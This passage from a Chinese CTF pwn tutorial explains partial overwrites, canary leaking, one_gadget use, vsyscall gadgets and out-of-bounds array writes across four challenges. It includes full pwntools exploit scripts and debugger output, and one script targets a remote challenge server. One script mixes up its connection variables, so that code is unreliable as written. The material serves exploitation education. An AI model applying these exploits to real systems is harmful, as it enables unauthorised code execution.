可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。─────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0xa4c9b736e3763700 RBP 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb') RSP 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' RIP 0x55cd0345386f ◂— xor rax, qword ptr fs:[0x28]──────────────────────────────[ DISASM ]───────────────────────────────── ► 0x55cd0345386f xor rax, qword ptr fs:[0x28] 0x55cd03453878 je 0x55cd0345387f ↓ 0x55cd0345387f leave 0x55cd03453880 ret ─────────────────────────── ───[ STACK ]─────────────────────────────────00:0000│ rsi r8 rsp 0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓05:0028│ 0x7ffe773d1d98 ◂— 0xa4c9b736e376370006:0030│ rbp 0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')07:0038│ 0x7ffe773d1da8 ◂— 0x55cd034547f0
exp:
from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28while True: try: p = process('./test-pie') p.recvuntil("Name:\n") payload='a' * offset # gdb.attach(p) p.sendline(payload) p.recvuntil('a' * offset) p.recv(1) canary = u64('\0' + p.recvn(7)) print hex(canary) p.recvuntil(":\n")
payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47' p.send(payload) flag = p.recvall() if 'flag' in flag: exit(0) except Exception as e: p.close() print e
pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 17736[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'......[+] Receiving all data: Done (37B)[DEBUG] Received 0x25 bytes: 'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'[] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)[] Stopped process './test-pie' (pid 17620
总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。 # 题目二 2018年XNUCA中的gets题目
int64fastcall main(int64 a1, char a2, char a3){ int64 v4; // rsp+0h
gets((int64)&v4, (int64)a2, (__int64)a3); return 0LL;}
pwn@pwn-PC:~/Desktop$ checksec gets [*] '/home/pwn/Desktop/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)依然没有PIE,但是开了ASLR保护
只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。
ps:one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL
可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。 有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。 就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getshell。那么就开始构造flag,因为gets函数会在末尾读入一个\x00的结束符,因此实际上覆盖后的地址是这样的0x7ffff700f306,但是这就面临一个问题。 按照上面来说,如果直接覆盖返回地址 那么覆盖成了0x7ffff700f306(严谨一点:0x7ffff7000306 - 0x7ffff700f306),那么计算出libc的加载地址为0x7ffff6fd0000<<0x7ffff7a3a000(严谨一点:0x7ffff6fc1000 - 0x7ffff6fd0000),也就是说libc加载在这个范围内才可能碰撞到onegadget,但是因为偏移量不变的原因,libc加载在这个范围内,覆盖后的onegadget的地址依然偏小,永远是不可能碰撞到的。如果还是不理解,那继续看这个假设实验: 假设我们不知道__libc_start_main在libc的偏移量,并且祈祷__libc_start_main与libc的基址相距地很远,并且假设一下几个地址成立: onegadge地址:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 (0x7ffff700f306-0x3f306) 此时__libc_start_main+240的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),这样才上述的地址的相对位置才有可能成立。此时__libc_start_main的(最小)偏移量为0x2FF10。 现在去验证一下这个假设是否成立,只要真实的偏移量大于等于假设的偏移量,那么假设成立,查看__libc_start_main在libc中偏移量为0x201f0<0x2FF10,也就是说上述假设不成立。
pwndbg> xinfo __libc_start_mainExtended information for virtual address 0x7ffff7a5a1f0: Containing mapping: 0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so Offset information: Mapped Area 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Base) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Segment) 0x7ffff7a5a1f0 = 0x7ffff7a3a000 + 0x201f0 File (Disk) 0x7ffff7a5a1f0 = /usr/lib/x86_64-linux-gnu/libc-2.24.so + 0x201f0
一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。 那么第二个地址_dl_init+139就有用了,将其覆盖为0x7ffff700f306,按照上面的方法看看是否可行。 onegadge:0x7ffff700f306 那么根据偏移计算出来 libc的基址:0x7ffff6fd0000 此时_dl_init+139的地址:0x7ffff7xxxxxx(给一个最小的地址:0x7ffff7000000),此时_dl_init的(最小)偏移量(距离libc)为0x2FF75 libc和ld两者相距:0x39f000 (在加载的过程中,这个偏移是不变的) ld.so的加载地址:0x7ffff736f000 查看_dl_init真实的偏移量(在ld.so中)0xf8e0,距离libc的偏移是0x3ae8e0>0x2FF75,上述假设成立,此时_dl_init+139的地址为:0x7ffff7de896b(符合0x7ffff7xxxxxx形式)
pwndbg> xinfo _dl_initExtended information for virtual address 0x7ffff7de88e0: Containing mapping: 0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so Offset information: Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0 File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0
也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。 下面的操作就简单易懂了,解决怎么去覆盖的问题即可。 相隔那么远,怎么在栈上移动? 那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。
pwndbg> x /10i 0x40059b 0x40059b: pop rbp 0x40059c: pop r12 0x40059e: pop r13 0x4005a0: pop r14 0x4005a2: pop r15 0x4005a4: ret
移动的过程如下: 因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行 只是没成功,然后就是一直跑,直到跑出shell为止。 exp:
from pwn import *
offset = 0x18
while True: try: p = process('./gets') payload='a' * offset + p64(0x40059B) payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B) payload += 'c' * 8 * 5 + '\x06\xa3'
p.sendline(payload) p.sendline('ls') data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue
这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。 # 题目三 HITBCTF2017中的1000levels题目,梳理流程,函数有点多
BOOL8 fastcall level(signed int a1){ int64 v2; // rax int64 buf; // rsp+10h int64 v4; // rsp+18h int64 v5; // rsp+20h int64 v6; // rsp+28h unsigned int v7; // rsp+30h unsigned int v8; // rsp+34h unsigned int v9; // rsp+38h int i; // rsp+3Ch buf = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; if ( !a1 ) return 1LL; if ( (unsigned int)level(a1 - 1) == 0 ) return 0LL; v9 = rand() % a1; v8 = rand() % a1; v7 = v8 * v9; puts("===================================================="); printf("Level %d\n", (unsigned int)a1); printf("Question: %d * %d = ? Answer:", v9, v8); for ( i = read(0, &buf, 0x400uLL); i & 7; ++i ) *((BYTE *)&buf + i) = 0; v2 = strtol((const char *)&buf, 0LL, 10); return v2 == v7;}
pwn@pwn-PC:~/Desktop$ checksec 1000levels [*] '/home/pwn/Desktop/1000levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。 程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故,如果还是使用__libc_csu_init的gadget的话,需要先泄漏加载地址,此处换成vsystem里面的gadget)来移动0x238的距离进行覆盖末尾两位。但是仔细看一下程序流程发现还有一个更简单的办法, 我们上一个办法无非就是为了执行onegadget,但是在之前确定onegadget加载的地址,那么需要一个参照物,仔细看hint函数
int hint(void){ signed int64 v1; // rsp+8h int v2; // rsp+10h int16 v3; // rsp+14h if ( show_hint ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 5629585671126536014LL; v2 = 1430659151; v3 = 78; } return puts((const char *)&v1);}
无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令
0x555555554cfb <hint()+11> mov rax, qword ptr [rip + 0x2012ce]0x555555554d02 <hint()+18> mov qword ptr [rbp - 0x110], rax
将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有
int go(void){ int v1; // ST0C_4 int64 v2; // rsp+0h int64 v3; // rsp+0h int v4; // rsp+8h int64 v5; // rsp+10h signed int64 v6; // rsp+10h signed int64 v7; // rsp+18h int64 v8; // rsp+20h puts("How many levels?"); v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3; if ( v6 > 0 ) { if ( v6 <= 999 ){ v7 = v6; } else { puts("More levels than before!"); v7 = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(v7) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); puts((const char *)&v8); } else { puts("You failed."); } exit(0); } return puts("Coward");}
v5和v6都是rbp-0x110,由于栈帧开辟的原理,main函数中的hint函数和go函数的的rbp应该是同一个地址,因此在执行完hint函数后,再去执行go函数,v5和v6中保存了system的地址,而且刚才说的栈溢出发生在level函数中,由于栈帧开辟的原理,level函数的栈帧在go函数的栈帧的低位置处,可以通过栈溢出和合适的ret的gadget去执行system函数,不过这有两个前提,一、rbp-0x110的地址内容不会被覆盖;二、需要pop_rsi_ret的gadget和'/bin/sh'的地址,这看起来很难满足,继续看程序逻辑,会发现
if ( v2 > 0 ) v5 = v2;else puts("Coward");puts("Any more?");v3 = read_num();v6 = v5 + v3;
也就说只要v2<=0,rbp-0x110就不会被覆盖,而且v6 = v5 + v3可以灵活运用,可以看成onegadget_addr = system_addr + (onegadget_addr-system_addr),因为刚才页提到了最终都要往onegadget上靠,而且我们知道,无论怎么加载,偏移量始终是固定的。这样分析完后,思路就很明确了,显示构造onegadget_addr,然后利用栈溢出和合适的ret的gadget去执行onegadget。 第一步得找到level返回地址和rbp-0x110的距离
pwndbg> disassemble goDump of assembler code for function Z2gov: 0x0000555555554b7c <+0>: push rbp 0x0000555555554b7d <+1>: mov rbp,rsp 0x0000555555554b80 <+4>: sub rsp,0x120 0x0000555555554b87 <+11>: lea rdi,[rip+0x506] # 0x555555555094 0x0000555555554b8e <+18>: call 0x555555554900 puts@plt 0x0000555555554b93 <+23>: call 0x555555554b00 <Z8read_numv> 0x0000555555554b98 <+28>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554b9f <+35>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554ba6 <+42>: test rax,rax 0x0000555555554ba9 <+45>: jg 0x555555554bb9 <Z2gov+61> 0x0000555555554bab <+47>: lea rdi,[rip+0x4f3] # 0x5555555550a5 0x0000555555554bb2 <+54>: call 0x555555554900 puts@plt 0x0000555555554bb7 <+59>: jmp 0x555555554bc7 <Z2gov+75> 0x0000555555554bb9 <+61>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bc0 <+68>: mov QWORD PTR [rbp-0x110],rax 0x0000555555554bc7 <+75>: lea rdi,[rip+0x4de] # 0x5555555550ac 0x0000555555554bce <+82>: call 0x555555554900 puts@plt 0x0000555555554bd3 <+87>: call 0x555555554b00 <_Z8read_numv> 0x0000555555554bd8 <+92>: mov QWORD PTR [rbp-0x120],rax 0x0000555555554bdf <+99>: mov rdx,QWORD PTR [rbp-0x110] 0x0000555555554be6 <+106>: mov rax,QWORD PTR [rbp-0x120] 0x0000555555554bed <+113>: add rax,rdx 0x0000555555554bf0 <+116>: mov QWORD PTR [rbp-0x110],rax......
在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下:
经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。 第二步寻找合适的gadget。 在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。 简单介绍一下vsyscall,现代的Windows和Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。执行某些操作的时候会在从用户空间切换到内核空间时需要一个介质,这介质就是系统调用,但是这一过程需要耗费一定的性能,增加了不必要的开销,vsystem就是加速某些系统调用的机制,他用来执行特定的系统调用,减少系统调用的开销,例如gettimeofday(),这样就避免了传统的系统调用模式int 0x80/syscall造成的内核空间和用户上下文空间的切换。使用gdb将vsystem这段内存dump下来拿到IDA中进行查看
seg000:0000000000000000 mov rax, 60hseg000:0000000000000007 syscall ; Low latency system callseg000:0000000000000009 retnseg000:0000000000000009 ; ---------------------------------------------------------------------------seg000:000000000000000A align 400hseg000:0000000000000400 mov rax, 0C9hseg000:0000000000000407 syscall ; Low latency system callseg000:0000000000000409 retnseg000:0000000000000409 ; ---------------------------------------------------------------------------seg000:000000000000040A align 400hseg000:0000000000000800 mov rax, 135hseg000:0000000000000807 syscall ; Low latency system callseg000:0000000000000809 retn
显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。 第三步找到onegadget
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xd695f execve("/bin/sh", rsp+0x60, environ)constraints: [rsp+0x60] == NULL
准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。
from pwn import *libc = ELF("./libc.so")
p = remote('111.200.241.244',45392)
one_gadget = 0x4526asystem = libc.symbols['system']
print r.recvuntil("Choice:\n")p.sendline('2')print r.recvuntil("Choice:\n")p.sendline('1')print r.recvuntil("How many levels?\n")p.sendline('0')print r.recvuntil("Any more?\n")p.sendline(str(one_gadget-system))
def calc(): print r.recvuntil("Question: ") num1 = int(r.recvuntil(" ")) print r.recvuntil("* ") num2 = int(r.recvuntil(" ")) ans = num1 * num2 print r.recvuntil("Answer:") p.sendline(str(ans))
for i in range(99): calc()print p.recvuntil("Answer:")payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3p.send(payload)p.interactive()
# 题目四 2019年CISCN中your_pwn的题目,源码如下:
int64fastcall main(int64 a1, char a2, char a3){ char s; // rsp+0h unsigned int64 v5; // rsp+108h v5 = __readfsqword(0x28u); setbuf(stdout, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); memset(&s, 0, 0x100uLL); printf("input your name \nname:", 0LL); read(0, &s, 0x100uLL); while ( (unsigned int)sub_B35() ); return 0LL;}
_BOOL8 sub_B35(){ int v1; // rsp+4h int v2; // rsp+8h int i; // rsp+Ch char v4[64]; // rsp+10h char s; // rsp+50h unsigned int64 v6; // rsp+158h v6 = readfsqword(0x28u); memset(&s, 0, 0x100uLL); memset(v4, 0, 0x28uLL); for ( i = 0; i <= 40; ++i ) { puts("input index"); isoc99_scanf("%d", &v1); printf("now value(hex) %x\n", (unsigned int)v4[v1]); puts("input new value"); isoc99_scanf("%d", &v2); v4[v1] = v2; } puts("do you want continue(yes/no)? "); read(0, &s, 0x100uLL); return strncmp(&s, "yes", 3uLL) == 0;}
pwn@pwn-PC:~/Desktop$ checksec pwn[*] '/home/pwn/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
又是保护全开,根据程序的代码可以发现存在数组越界漏洞,其中v1可以控制,因为v4这个数组在读取索引的时候没有限制,引发数组越界漏洞,而且代码中分别对数组进行了读和写操作,那么造成栈空间任意地址读写(任意地址读和任意地址写)。由于PIE和canary的存在,所以思路是先泄露栈中的某个返回地址,获取栈中的某些函数(main函数的返回地址__libc_start_main+241)的加载地址,从而计算出libc的基址,进而计算得到onegadget的地址,然后写入返回地址进行ROP即可。 在构造payload之前,先分析一下利用过程。 第一步泄漏main函数的返回地址__libc_start_main+241的地址:0x7ffff7a5a2e1,从而根据偏移拿到libc的基址 0x7ffff7a5a2e1 - 0x201f0 - 241 = 0x7ffff7a3a000。 第二步找到onegadget 选择一个onegadget,根据得到的libc的基址和偏移量计算出onegadget地址,0x7ffff7a3a000 + 0x3f306 = 0x7ffff7a79306。
pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so0x3f306 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x3f35a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
constraints: [rsp+0x60] == NULL
那么此时前期工作就做完,之后利用数组溢出泄漏基址,然后利用数组的写入操作进行rop,执行onegadget,整体的分析如下图: 结合前几节学过的知识,发现能够对过程进行简化,我们泄露0x7fffffffcd18 —▸ 0x7ffff7a5a2e1 (__libc_start_main+241) 的地址,只需要泄漏后后三位(因为前面的加载地址都一样)即可
查看__libc_start_main+241末尾三个字节:pwndbg> x /3bx 0x7fffffffcd180x7fffffffcd18: 0xe1 0xa2 0xa5 :0xa5a2e1
使用后三位字节进行计算:0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr
将onegadget addr进行写入:0x7fffffffcd18 :0x06 :v2 = 60x7fffffffcd19 :0x93 :v2 = 1470x7fffffffcd1a :0x7a :v2 = 122
写入位置:v4[0x278] :v1 = 632v4[0x279] :v1 = 633v4[0x280] :v1 = 634
注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下:
from pwn import *
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")p = process('./pwn')one_gadget = 0x3f306libc_start_main_addr = libc.symbols['__libc_start_main']libc_start_main_241 = 0xf1offset = 0x278newValue = 1
def byte(addr): libc_start_main = '' if(len(addr)<2): libc_start_main = '0' + addr elif(len(addr)==8): libc_start_main = addr[-2:] else: libc_start_main = addr return libc_start_main
p.recvuntil("name:")p.sendline('pwn')
p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(newValue))
p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))
p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(newValue))
libc_start_main = byte(addr2) + byte(addr1) + byte(addr)libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241one_gadget_addr = libc_addr + one_gadget
a = int('0x'+hex(one_gadget_addr)[-2:],16)b = int('0x'+hex(one_gadget_addr)[-4:-2],16)c = int('0x'+hex(one_gadget_addr)[-6:-4],16)
p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(a))
p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(b))
p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(c))p.recvuntil("input index\n")p.sendline('a')p.interactive()
本文涉及相关实验:高级栈溢出技术—ROP实战(split)(通过该实验学习ROP概念及其思路,了解高级栈溢出时需要注意的事项,并掌握解决方法,同时通过练习给出的关卡来增强实践能力。)